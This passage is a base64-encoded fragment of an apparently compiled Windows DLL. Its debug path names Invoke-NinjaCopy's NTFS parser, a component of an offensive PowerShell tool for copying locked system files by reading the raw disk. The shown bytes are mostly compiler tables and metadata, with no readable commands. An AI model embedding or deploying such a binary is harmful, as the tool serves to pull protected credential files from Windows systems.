AAAAAAABgbG9jYWwgc3RhdGljIGd1YXJkJwAAAABgc3RyaW5nJwAAAAAAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHZlY3RvciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgRUgAYFJUVEkAAAAAAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAAAAAACBkZWxldGVbXQAAAAAAAABgb21uaSBjYWxsc2lnJwAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAAAAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAAAAAAAAYGR5bmFtaWMgYXRleGl0IGRlc3RydWN0b3IgZm9yICcAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3R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BABiKAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAWIoBAAAAAAAAAAAAcIoBAMiJAQAAAAAAAAAAAAAAAAAAAAAAAMABAAEAAAAAAAAA/////wAAAABAAAAAQIoBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAFDAAQDAigEAmIoBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADYigEAAAAAAAAAAADwigEAyIkBAAAAAAAAAAAAAAAAAAAAAABQwAEAAQAAAAAAAAD/////AAAAAEAAAADAigEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAeMABAECLAQAYiwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAFiLAQAAAAAAAAAAAHiLAQDwigEAyIkBAAAAAAAAAAAAAAAAAAAAAAAAAAAAeMABAAIAAAAAAAAA/////wAAAABAAAAAQIsBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKDAAQDIiwEAoIsBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADgiwEAAAAAAAAAAAAAjAEA8IoBAMiJAQAAAAAAAAAAAAAAAAAAAAAAAAAAAKDAAQACAAAAAAAAAP////8AAAAAQAAAAMiLAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADQwAEAUIwBACiMAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAaIwBAAAAAAAAAAAAeIwBAAAAAAAAAAAAAAAAANDAAQAAAAAAAAAAAP////8AAAAAQAAAAFCMAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAowAEA8IkBAKCMAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAaMwBAPCMAQDIjAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAiNAQAAAAAAAAAAACCNAQDIiQEAAAAAAAAAAAAAAAAAAAAAAGjMAQABAAAAAAAAAP////8AAAAAQAAAAPCMAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAACIjgEAAAAAAAAAAAAY1AEAAAAAAAAAAAD/////AAAAAEAAAABIjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAoI0BAAAAAAAAAAAAmI4BAOiNAQBgjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABI1AEAGI8BAMCNAQAAAAAAAAAAAAAAAAAAAAAASNQBAAEAAAAAAAAA/////wAAAABAAAAAGI8BAAAAAAAAAAAAAAAAAKjTAQACAAAAAAAAAP////8AAAAAQAAAAMCOAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAY1AEASI0BADiOAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAqNMBAMCOAQBgjgEAAAAAAAAAAAAAAAAAAAAAAGCNAQAAAAAAAAAAAAAAAADg0wEAAgAAAAAAAAD/////AAAAAEAAAACIjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAMI8BAAAAAAAAAAAAAQAAAAAAAAAAAAAA4NMBAIiNAQDYjgEAAAAAAAAAAAAAAAAAAAAAAOiNAQBgjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAACPAQAAAAAAAAAAABCOAQDojQEAYI0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJEBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAADokQEAQJQBAKiVAQAAAAAAAAAAAAAAAAAAAAAAAAAAABCSAQBolAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAOJIBAECUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAABgkgEAaJQBAKiVAQAAAAAAAAAAAAAAAAAAAAAAAAAAAIiSAQBAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAsJIBAAAAAAAAAAAAAAAAANiSAQBAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJMBAGiUAQColQEAAJMBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFCTAQCQlAEAAAAAAAAAAAAAAAAAAAAAAHiTAQBolAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAoJMBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAADwkwEAaJQBAKiVAQDIkwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGJQBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAABAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAABolAEAqJUBAAAAAAAAAAAAAAAAAAAAAACQlAEAAAAAAAAAAAAAAAAAuJQBAAAAAAAAAAAAAAAAAOCUAQAAAAAAAAAAAAAAAAAIlQEAAAAAAAAAAAAAAAAAMJUBAAAAAAAAAAAAAAAAAFiVAQCAlQEAAAAAAAAAAAAAAAAAAAAAAICVAQAAAAAAAAAAAAAAAAColQEAAAAAAAAAAAAAAAAAgNQBAAIAAAAAAAAA/////wAAAABAAAAA0JUBAAAAAAAAAAAAAAAAALjUAQACAAAAAAAAAP////8AAAAAQAAAAOiVAQAAAAAAAAAAAAAAAAD41AEAAgAAAAAAAAD/////AAAAAEAAAAAAlgEAAAAAAAAAAAAAAAAAMNUBAAIAAAAAAAAA/////wAAAABAAAAAGJYBAAAAAAAAAAAAAAAAAGjVAQACAAAAAAAAAP////8AAAAAQAAAADCWAQAAAAAAAAAAAAAAAACg1QEAAgAAAAAAAAD/////AAAAAEAAAABIlgEAAAAAAAAAAAAAAAAA4NUBAAAAAAAAAAAA/////wAAAABAAAAAYJYBAAAAAAAAAAAAAAAAABDWAQACAAAAAAAAAP////8AAAAAQAAAAHiWAQAAAAAAAAAAAAAAAAB41wEAAAAAAEgAAAD/////AAAAAEAAAABQlwEAAAAAAAAAAAAAAAAAONYBAAMAAAAAAAAA/////wAAAABAAAAAkJYBAAAAAAAAAAAAAAAAAGDWAQABAAAAAAAAAP////8AAAAAQAAAAKiWAQAAAAAAAAAAAAAAAACI1gEAAgAAAAAAAAD/////AAAAAEAAAADAlgEAAAAAAAAAAAAAAAAAsNYBAAIAAAAAAAAA/////wAAAABAAAAA2JYBAAAAAAAAAAAAAAAAAGDYAQAAAAAASAAAAP////8AAAAAQAAAAMiXAQAAAAAAAAAAAAAAAADY1gEAAwAAAAAAAAD/////AAAAAEAAAADwlgEAAAAAAAAAAAAAAAAAANcBAAIAAAAAAAAA/////wAAAABAAAAACJcBAAAAAAAAAAAAAAAAACjXAQABAAAAAAAAAP////8AAAAAQAAAACCXAQAAAAAAAAAAAAAAAABQ1wEAAQAAAAAAAAD/////AAAAAEAAAAA4lwEAAAAAAAAAAAAAAAAAeNcBAAAAAAAAAAAA/////wAAAABAAAAAUJcBAAAAAAAAAAAAAAAAAKjXAQAAAAAAAAAAAP////8AAAAAQAAAAGiXAQAAAAAAAAAAAAAAAADg1wEAAAAAAAAAAAD/////AAAAAEAAAACAlwEAAAAAAAAAAAAAAAAAENgBAAAAAAAAAAAA/////wAAAABAAAAAmJcBAAAAAAAAAAAAAAAAADjYAQAAAAAAAAAAAP////8AAAAAQAAAALCXAQAAAAAAAAAAAAAAAACA2AEAAQAAAAAAAAD/////AAAAAEAAAADglwEAAAAAAAAAAAAAAAAAYNgBAAAAAAAAAAAA/////wAAAABAAAAAyJcBAAAAAAAAAAAAAAAAAKjYAQAAAAAAAAAAAP////8AAAAAQAAAAPiXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAABwjwEAAAAAAAAAAAAAAAAAAAAAAAMAAACQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAACwjwEAAAAAAAAAAAAAAAAAAAAAAAMAAADQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAADwjwEAAAAAAAAAAAAAAAAAAAAAAAEAAAAQkAEAAAAAAAAAAAAAAAAAAAAAAAMAAAAgkAEAAAAAAAAAAAAAAAAAAQAAAAQAAABAkAEAAAAAAAAAAAAAAAAAAAAAAAIAAABokAEAAAAAAAAAAAAAAAAAAAAAAAMAAACAkAEAAAAAAAAAAAAAAAAAAAAAAAMAAACgkAEAAAAAAAAAAAAAAAAAAQAAAAQAAADAkAEAAAAAAAAAAAAAAAAAAAAAAAMAAADokAEAAAAAAAAAAAAAAAAAAAAAAAIAAAAIkQEAAAAAAAAAAAAAAAAAAAAAAAIAAAAgkQEAAAAAAAAAAAAAAAAAAAAAAAEAAAA4kQEAAAAAAAAAAAAAAAAAAAAAAAEAAABIkQEAAAAAAAAAAAAAAAAAAAAAAAEAAABYkQEAAAAAAAAAAAAAAAAAAAAAAAEAAABokQEAAAAAAAAAAAAAAAAAAAAAAAEAAAB4kQEAAAAAAAAAAAAAAAAAAAAAAAEAAACgkQEAAAAAAAAAAAAAAAAAAAAAAAIAAACIkQEAAAAAAAAAAAAAAAAAAAAAAAEAAACwkQEAAAAAAAAAAAABAAAAAAAAAAAAAACA1AEA0JUBABCYAQAAAAAAAAAAAAAAAAAAAAAAAQA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